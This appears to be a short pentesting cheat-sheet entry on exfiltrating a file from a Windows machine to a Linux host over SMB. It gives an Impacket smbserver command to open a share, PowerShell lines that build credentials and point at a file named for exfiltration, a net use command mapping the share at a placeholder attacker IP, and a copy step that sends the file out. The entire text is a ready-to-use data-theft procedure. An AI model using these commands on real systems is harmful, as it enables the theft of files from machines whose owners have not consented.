From Windows → Linux

SMB

On Linux machine start a SMB server creating a share called SHARE inside a directory:

smbserver.py -smb2support -user test -password test SHARE `pwd`

From Windows create username, password and then credential variable. Define also the source path to file to exfiltrate:

$username = "test"
$password = "test"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
$sourcePath = "C:\\temp\\FILE_TO_EXFILTRATE"

Map remote SMB share to a local drive:

net use z: \\\\<IP.LINUX.MACHINE>\\SHARE /user:test test

Finally copy the file to SMB share:

copy-item -path $sourcepath -destination z: